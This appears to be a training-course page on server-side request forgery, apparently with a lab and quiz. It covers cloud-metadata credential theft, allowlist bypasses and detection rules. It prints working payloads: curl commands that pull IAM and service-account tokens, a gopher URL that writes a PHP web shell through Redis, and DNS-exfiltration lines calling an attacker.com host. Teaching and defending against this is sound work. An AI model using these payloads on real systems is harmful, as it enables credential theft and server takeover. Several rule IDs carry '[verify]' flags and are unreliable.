Skip to content

Server-Side Request Forgery (SSRF)

SSRF is the vulnerability where the server makes an HTTP request to a URL the attacker controls. The payload URL is the exploit. The Capital One 2019 breach — 100M SSNs, $190M settlement — was a single SSRF to the AWS EC2 metadata endpoint 169.254.169.254 that returned IAM role credentials, which were then used to read the S3 bucket. CVE-2021-26855 (Microsoft Exchange ProxyLogon) was an SSRF that pivoted to autodiscover and then to RCE. SSRF is the new RCE for cloud-native apps.

The server has network privileges the client does not. When the server accepts a user-controlled URL and fetches it, the request uses the server’s credentials, the server’s network location (inside the VPC), and the server’s TLS context. The attacker uses the server as a confused deputy.

attacker (internet)
│
│ POST /api/fetch
│ {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/web-roles/"}
▼
web-server (inside VPC, IAM role attached)
│
│ server-side fetch(url)
│ request originates from server, hits link-local 169.254.169.254
▼
AWS IMDS (169.254.169.254)
│
│ responds with:
│ {"AccessKeyId":"ASIAR...","SecretAccessKey":"...","Token":"..."}
▼
web-server returns the response body to attacker
│
▼
attacker now has IAM creds → uses them from their laptop

IMDSv1 returns credentials on GET, no authentication. IMDSv2 requires a PUT-then-GET token sequence that an SSRF alone cannot replay — the SSRF must support a custom HTTP method, which most don’t. IMDSv2 alone is not a full defense; the SSRF just needs to call PUT /latest/api/token first.

  1. Find a fetch sink — image proxy, PDF renderer, URL preview, webhook delivery, SSO callback, RSS importer. Anything that accepts a URL parameter and does requests.get(url).
  2. Identify allowed schemes — most parsers accept http, https; some accept file://, gopher://, dict://, ftp://. The file:// scheme is instant LFI. gopher:// is a TCP oracle — you can construct arbitrary TCP packets, including Redis commands.
  3. Bypass allowlists — if the server blocks 169.254.169.254:
    • DNS rebinding: domain that resolves to 127.0.0.1 then to 169.254.169.254
    • IP encoding: 0x7f.0x0.0x0.0x1, 2130706433 decimal, 017700000001 octal
    • Enclosed alphanumerics: ①②⑨.④⑤④.①⑥⑨.②⑤④
    • Redirect: server allows evil.com, which 302-redirects to 169.254.169.254
    • DNS alt: 169.254.169.254.nip.io resolves to 169.254.169.254
  4. Read the response — blind SSRF (you don’t see the body) requires an out-of-band channel: your callback domain receives a hit, or DNS exfil via curl http://$(whoami).attacker.com. Full-read SSRF returns the body directly.
  5. Pivot — once you have IAM creds (AWS) or Managed Identity (Azure 169.254.169.254/metadata/identity/...) or Metadata (GCP metadata.google.internal), call the cloud API from your own machine.
TechniqueDescriptionDetection Difficulty
Direct IMDSv1 SSRFhttp://169.254.169.254/latest/meta-data/iam/security-credentials/roleEasy — IMDSv2 + egress block
DNS rebindingDomain flips between public and link-local IP mid-requestHard — --resolve-ip-once not always set
Gopher SSRFgopher:// to send raw TCP — Redis, MySQL, SMTP pivotsHard — gopher:// enabled in old libcurl
Blind SSRF + DNS exfilhttp://$(secret).attacker.com — payload encoded in DNS queryMedium — DNS exfil pattern
Cloud metadataAWS 169.254.169.254, Azure 169.254.169.254/metadata/identity/, GCP metadata.google.internalEasy with egress filtering to link-local
Redirect bypassServer allowlists evil.com; evil returns 302 → 169.254.169.254Medium — disable redirects in fetch
file:// schemefile:///etc/passwd — instant LFIEasy — block file: scheme
Kubelet SSRFhttps://node:10250/pods/ — read-only Kubelet APIMedium — node port exposed to in-cluster pods
AWS IMDSv2 token stealTwo-step: PUT token, then GET with headerHard — IMDSv2 still allows this
Terminal window
# Direct IMDSv1 (deprecated but still seen on legacy instances)
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-H "X-aws-ec2-metadata-token: " # empty token forces v1 fallback
# Returns IAM role name(s)
# IMDSv2 — required two-step
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-role"
# Azure Managed Identity
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP metadata — requires Metadata-Flavor header
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Gopher SSRF to Redis (flush + set rogue key)
# Target: redis://169.254.169.254:6379
# gopher URL: gopher://169.254.169.254:6379/_FLUSHALL%0d%0aCONFIG%20SET%20dir%20/var/www%0d%0aCONFIG%20SET%20dbfilename%20shell.php%0d%0aSET%20x%20%3C?php%20system($_GET[0])%3B?%3E%0d%0aSAVE%0d%0a
# SSRFmap (automated)
python3 ssrfmap.py -u "http://target/fetch?url=PAYLOAD" -m redis,imds,readfiles -l payloads.txt
# Gopherus — generate gopher payloads for Redis/Mysql/FastCGI
python3 gopherus.py --exploit redis
# nuclei SSRF templates
nuclei -u http://target -t ~/nuclei-templates/http/dast/ -t ~/nuclei-templates/http/cves/ -tags ssrf
# Confirm with a callback — interactsh / oast.fun / burp collaborator
curl "http://target/fetch?url=http://$(uuid).oast.fun/canary"
# Check interactsh dashboard for the callback
# Find SSRF candidates in source — sink patterns
grep -rEnE '(?:requests\.get|urllib\.urlopen|http\.Get|fetch\().*\b(?:url|uri|host|callback)\b' src/

ModSecurity OWASP CRS — SSRF coverage is rule 934100 (Node.js Injection / SSRF) and 932100 family when gopher/dict schemes appear. Notable:

  • 934100 — Node.js Injection
  • 934101 — Server Side Request Forgery via URL Scheme
  • 920230 — Multiple URL Encoding Detected (used by DNS rebinding bypasses)

Suricata SID 2221019 — Outbound HTTP request to link-local 169.254.169.254 [verify].

Sysmon Event ID 3 — NetworkConnect from w3wp.exe / nginx / php-fpm to 169.254.169.254 is a direct indicator.

Sysmon Event ID 22 — DNSEvent from web-server resolving *.nip.io, *.xip.io, *.sslip.io — common DNS-rebinding infrastructure.

MITRE ATT&CK T1190 — Exploit Public-Facing Application.

MITRE ATT&CK T1552.005 — Cloud Instance Metadata API (use of metadata service credentials).

MITRE ATT&CK T1580 — Cloud Infrastructure (discovery via metadata).

Wazuh rule 920/623 — Outbound 169.254.169.254 from web process [verify].

Wazuh rule 80792 — Cloud metadata request from non-cloud-init process [verify].

DNS rebinding. The attacker controls a DNS server. The first A query returns the attacker’s IP (passes the allowlist check). The server caches the IP for 0 seconds. The HTTP request then re-resolves the domain — second A query returns 169.254.169.254. If the server does the allowlist check before the re-resolution, the bypass works. Defense: pin the IP after first resolution, OR run the allowlist check on the resolved IP, not the hostname.

Enclosed alphanumerics. ①②⑨.④⑤④.①⑥⑨.②⑤④ — these Unicode characters decode to 169.254.169.254 in some parsers. python3 -c "print(int('①②⑨'))" returns 169 in some locales. Apply t:urlDecodeUni then validate against link-local.

Trailing dot. evil.com. is a valid FQDN that some allowlists strip and others don’t, causing an inconsistency between the WAF and the server. If WAF blocks evil.com but the server treats evil.com. as different, the bypass is silent.

URL parser differential. http://attacker.com#@169.254.169.254 — the fragment is part of the URL. Some parsers (libcurl, Java’s URL class, Go’s net/http) disagree on whether the fragment is a fragment or part of the host. CVE-2022-0738 (JumpCloud) was a parser differential.

IPv4-in-IPv6. http://[::ffff:169.254.169.254]/ — the IPv6-mapped IPv4 representation. Some allowlists check for IPv4 strings, miss the IPv6-mapped form.

EvasionWhat it defeatsDefense
DNS rebindingHostname allowlistsRe-check IP after resolution, pin IP for the request lifetime
0x7f000001 / 2130706433Decimal/hex string matchersNormalize IP via inet_pton and compare bytes
Enclosed alphanumericsASCII-only IP matchersStrip Unicode width variants before parsing
Trailing dotSuffix allowlistsStrip trailing dots from FQDN before match
::ffff: IPv6-mappedIPv4-only checksParse as IPv6 and check mapped v4 range too
302 redirectURL host check at request timeDisable redirects server-side; check final URL after redirect manually

⚠️ What caught me: A client had a strict SSRF defense — they validated the hostname against an allowlist, then validated the resolved IP against RFC 1918 + link-local. I thought it was solid. The bypass was: their proxy reused TCP connections (HTTP keep-alive). The first request went to my evil domain (allowed), got HTTP/1.1 200 with Connection: keep-alive. The second request reused the connection to the same server, but my server 302-redirected to 169.254.169.254 — the client followed the redirect on the same keep-alive socket, bypassing the allowlist because the hostname check only ran on the initial URL. Lesson: HTTP request lifecycle and HTTP allowlist checks are two different layers. Defense: either disable keep-alive on outgoing fetches or re-run the allowlist check on every redirect.

Container: SSRFmap’s bundled test app, or the sudoGD/ssrf-lab Docker setup.

Terminal window
docker run --rm -p 8080:80 --privileged sudoGD/ssrf-lab
# Several vulnerable endpoints at /vulnerable.php?type=url&url=PAYLOAD

Objective: chain a blind SSRF + DNS exfil to read /etc/passwd, then pivot to a GCP metadata instance and obtain a service-account token.

Expected flag format: flag{ssrf_gcp_metadata_token_obtained}.

Detection that should fire: outbound 169.254.169.254 from the PHP-FPM process (auditd exec + Sysmon network if on Windows host). ModSecurity should fire on the url=file:// payload (rule 932100 family).

Conceptual: why is SSRF considered “the new RCE” in cloud-native environments, and what specific cloud primitive makes it equivalent to RCE in severity?

Technical: walk through the exact sequence of HTTP requests required to extract IAM credentials from IMDSv2 (not IMDSv1). What two properties must the SSRF sink have to make this work?

Scenario: a target has a hostname allowlist and a post-resolution IP check against RFC 1918 + 169.254/16. How would you bypass this with DNS rebinding, and what is the timing of the two DNS queries that makes the bypass work?

Compare gopher:// and file:// SSRF in terms of post-exploitation capabilities. Why is gopher:// strictly more dangerous than file://?

What is the difference between AWS IMDSv1 and IMDSv2 from an SSRF attacker’s perspective? Why does IMDSv2 not fully prevent credential theft, and what additional control does prevent it?

→ W1 (OWASP Top 10 Overview) · W6 (XML External Entity) · S12 (Cloud Post-Exploitation)